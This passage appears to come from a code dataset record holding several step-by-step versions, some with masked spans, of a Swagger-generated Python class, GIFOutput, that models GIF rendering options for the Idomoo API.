If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n <mask token>\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-3": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-4": "<mask token>\n\n\nclass GIFOutput(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {'gif_fps': 'float', 'color_depth': 'float', 'gif_loop':\n 'int', 'height': 'float', 'start': 'float', 'duration': 'float',\n 'suffix': 'str', 'overlay': 'str', 'overlay_alignment': 'list[str]',\n 'overlay_scale': 'str', 'label': 'str'}\n attribute_map = {'gif_fps': 'gif_fps', 'color_depth': 'color_depth',\n 'gif_loop': 'gif_loop', 'height': 'height', 'start': 'start',\n 'duration': 'duration', 'suffix': 'suffix', 'overlay': 'overlay',\n 'overlay_alignment': 'overlay_alignment', 'overlay_scale':\n 'overlay_scale', 'label': 'label'}\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-5": "# coding: utf-8\n\n\"\"\"\n Idomoo API\n\n\n\n OpenAPI spec version: 2.0\n Contact: dev.support@idomoo.com\n\n\"\"\"\n\n\nimport pprint\n\nimport six\n\n\nclass GIFOutput(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'gif_fps': 'float',\n 'color_depth': 'float',\n 'gif_loop': 'int',\n 'height': 'float',\n 'start': 'float',\n 'duration': 'float',\n 'suffix': 'str',\n 'overlay': 'str',\n 'overlay_alignment': 'list[str]',\n 'overlay_scale': 'str',\n 'label': 'str'\n }\n\n attribute_map = {\n 'gif_fps': 'gif_fps',\n 'color_depth': 'color_depth',\n 'gif_loop': 'gif_loop',\n 'height': 'height',\n 'start': 'start',\n 'duration': 'duration',\n 'suffix': 'suffix',\n 'overlay': 'overlay',\n 'overlay_alignment': 'overlay_alignment',\n 'overlay_scale': 'overlay_scale',\n 'label': 'label'\n }\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None, height=None, start=None, duration=None,\n suffix=None, overlay=None, overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\"Invalid value for `gif_fps`, must be a value less than or equal to `30`\")\n\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\"Invalid value for `gif_loop`, must be a value greater than or equal to `-1`\")\n\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError(\"Invalid value for `height`, must not be `None`\")\n\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard 